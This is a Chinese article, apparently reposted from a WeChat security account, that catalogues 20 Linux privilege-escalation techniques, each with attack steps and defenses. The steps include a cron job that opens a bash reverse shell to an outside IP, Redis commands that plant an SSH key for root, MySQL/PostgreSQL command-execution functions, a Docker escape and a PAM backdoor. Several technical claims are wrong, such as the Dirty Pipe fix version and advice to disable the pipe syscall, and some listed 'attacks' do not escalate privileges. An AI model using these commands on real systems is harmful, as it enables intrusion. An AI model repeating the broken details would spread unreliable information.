Linux 提权攻击是攻防对抗的核心领域,攻击者通过内核漏洞、权限配置错误、服务滥用等多种手段实现权限提升。防御者需建立多层次的安全体系,包括及时更新补丁、强化权限管理、监控异常行为等。本文列举的 20 种提权技术覆盖了从基础到高级的攻击手段,旨在帮助安全从业者全面理解威胁并制定有效防御策略。
一、内核漏洞提权(Kernel Exploits)
1、脏牛漏洞(Dirty Cow, CVE-2016-5195)
原理:利用内存写时复制(COW)机制的竞争条件,实现只读内存页的越权写入。
攻击步骤:
上传脏牛检测脚本(如linux-exploit-suggester.sh
)检测内核版本。
编译并执行 POC(如dirtycow.c
),覆盖/etc/passwd
文件添加 root 用户。
防御:及时更新内核至 4.8 + 版本,使用grsecurity
等加固工具。
2、Dirty Pipe 漏洞(CVE-2022-0847)
原理:通过pipe
缓冲区溢出实现 root 权限提升。
攻击步骤:
上传dirtypipe.c
并编译。
执行./dirtypipe
,将恶意代码写入/etc/shadow
。
防御:升级内核至 5.8 + 版本,禁用pipe
系统调用。
3、Use-After-Free 漏洞(CVE-2024-1086)
原理:内核netfilter
组件双重释放漏洞。
攻击步骤:
利用nft_verdict_init()
函数构造恶意数据包触发漏洞。
执行commit_creds(prepare_kernel_cred(0))
获取 root 权限。
防御:更新内核至 6.6 + 版本,关闭netfilter
不必要功能。
二、权限配置滥用(Permission Misconfigurations)
4、SUID/SGID 提权
原理:利用setuid
/setgid
权限的二进制文件执行时获取所有者权限。
攻击步骤:
查找 SUID 文件:find / -perm -4000 -type f 2>/dev/null
。
利用nmap
等工具执行命令:nmap --interactive
→ !sh
。
防御:删除不必要的 SUID 文件,使用auditd
监控权限变更。
5、sudo 权限滥用
案例:
CVE-2021-3156:sudo 缓冲区溢出漏洞,无需密码获取 root 权限。
配置错误:用户ALL=(ALL)
权限可直接执行sudo -i
。
防御:使用visudo
限制权限,定期审计sudoers
文件。
6、计划任务篡改(Cron Jobs)
原理:修改或创建定时任务脚本,以 root 权限执行。
攻击步骤:
查看计划任务:crontab -l
。
添加恶意任务:* * * * * /bin/bash -i >& /dev/tcp/``1.2.3.4/8080`` 0>&1
。
防御:限制用户对/etc/cron.d
的写入权限,使用logrotate
管理日志。
三、服务与环境变量攻击(Service & Environment Attacks)
7、NFS 提权(no_root_squash)
原理:NFS 共享目录配置no_root_squash
时,客户端 root 用户可直接访问。
攻击步骤:
挂载共享目录:mount -t nfs ``10.0.0.1``:/export /mnt
。
创建 SUID 文件:echo '#!/bin/bash' > /mnt/``shell.sh`` && chmod +s /mnt/``shell.sh
。
防御:禁用no_root_squash
,使用root_squash
限制权限。
8、环境变量劫持(PATH/LD_PRELOAD)
案例:
PATH 劫持:将恶意程序命名为系统命令(如ls
),添加到用户PATH
。
LD_PRELOAD:通过预加载恶意库文件(如lib.so
)劫持函数调用。
防御:避免在PATH
中使用.
,限制LD_PRELOAD
环境变量。
9、Docker 逃逸(Docker Escape)
原理:容器配置不当导致权限提升至宿主机。
攻击步骤:
特权模式:docker run --privileged -v /:/mnt alpine chroot /mnt sh
。
内核漏洞:利用脏牛漏洞突破容器隔离。
防御:禁用特权模式,限制容器资源访问。
四、第三方组件漏洞(Third-Party Vulnerabilities)
10、Redis 未授权访问
原理:Redis 配置不当导致未授权访问,写入 SSH 公钥。
攻击步骤:
连接 Redis:redis-cli -h ``10.0.0.1
。
写入公钥:config set dir /root/.ssh && config set dbfilename authorized_keys && set 1 "ssh-rsa ..."
。
防御:启用认证,绑定本地 IP,禁用config
命令。
11、MySQL UDF 提权
原理:通过自定义函数(UDF)执行系统命令。
攻击步骤:
上传恶意.so 文件:select unhex('...') into dumpfile '/usr/lib/mysql/plugin/``shell.so``'
。
创建函数:create function sys_eval returns string soname '``shell.so``'
。
防御:限制secure_file_priv
,禁用 UDF 功能。
12、PostgreSQL 漏洞(CVE-2007-6600)
原理:表达式索引以超级用户权限执行。
攻击步骤:
创建恶意函数:CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/``shell.so``' LANGUAGE C;
。
执行命令:SELECT sys_eval('id > /tmp/out.txt');
。
防御:升级至 9.0 + 版本,限制函数执行权限。
五、系统配置与服务攻击(System Config & Service Attacks)
13、SELinux 绕过
案例:
布尔值配置:修改httpd_can_network_connect
为on
。
策略文件篡改:删除/etc/selinux/targeted/policy/policy.31
。
防御:使用setsebool
调整策略,定期审计 SELinux 日志。
14、systemd 服务配置错误
原理:修改服务二进制路径为恶意文件。
攻击步骤:
创建恶意服务文件:/etc/systemd/system/malicious.service
。
启动服务:systemctl enable --now malicious.service
。
防御:限制/etc/systemd
目录权限,使用systemd-analyze
检查配置。
15、PAM 配置错误
原理:PAM 模块配置不当导致密码验证绕过。
攻击步骤:
修改/etc/pam.d/su
文件,添加auth sufficient ``pam_permit.so
。
执行su - root
无需密码。
防御:使用pam_tally2
限制登录尝试,定期检查 PAM 配置。
六、其他高级技术(Advanced Techniques)
16、条件竞争漏洞(Race Condition)
案例:CVE-2014-0038(compat_sys_recvmmsg
函数堆溢出)。
攻击步骤:
构造多线程竞争,触发堆溢出。
执行commit_creds(prepare_kernel_cred(0))
。
防御:使用锁机制,避免共享资源竞争。
17、/dev/ptmx 提权
原理:通过/dev/ptmx
设备文件获取伪终端。
攻击步骤:
创建伪终端:open("/dev/ptmx", O_RDWR)
。
绑定终端:ioctl(fd, TIOCSCTTY, 0)
。
防御:限制/dev/ptmx
权限,使用udev
规则管控。
18、X Window 系统权限滥用
原理:通过xhost +
允许远程连接。
攻击步骤:
执行xhost +
。
使用xterm
连接:xterm -display :0
。
防御:禁用 X Window 服务,使用Xorg
配置文件限制访问。
19、滥用 CAP_NET_ADMIN 权限
原理:CAP_NET_ADMIN
允许修改网络配置。
攻击步骤:
执行ip link add name dummy0 type dummy
创建虚拟网卡。
配置路由表:ip route add default via ``10.0.0.1`` dev dummy0
。
防御:使用setcap
移除不必要的权限,限制CAP_NET_ADMIN
。
20、滥用共享库路径(LD_LIBRARY_PATH)
原理:通过预加载恶意库文件劫持函数调用。
攻击步骤:
创建恶意库:echo 'void _init() { system("/bin/sh"); }' > ``libtest.so
。
执行程序:LD_LIBRARY_PATH=. ./vuln_program
。
防御:避免在LD_LIBRARY_PATH
中使用.
,限制用户写入权限。
防御策略总结
内核加固:
及时更新内核,使用grsecurity
或PaX
等增强工具。
禁用不必要的模块(如netfilter
、iptables
)。
权限管理:
遵循最小权限原则,限制 SUID/SGID 文件。
使用sudo
替代直接 root 登录,定期审计sudoers
文件。
服务配置:
禁用 NFS 的no_root_squash
,限制 Docker 容器权限。
启用 Redis 认证,限制 MySQL 的 UDF 功能。
环境变量:
避免在PATH
中使用.
,限制LD_PRELOAD
。
日志监控:
使用auditd
监控文件权限变更,配置 SELinux 日志审计。
第三方组件:
定期更新 Redis、MySQL 等服务,禁用危险功能(如config
、UDF
)。
原文始发于微信公众号(乌雲安全):黑客在Linux系统下提权的20种主要姿势!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论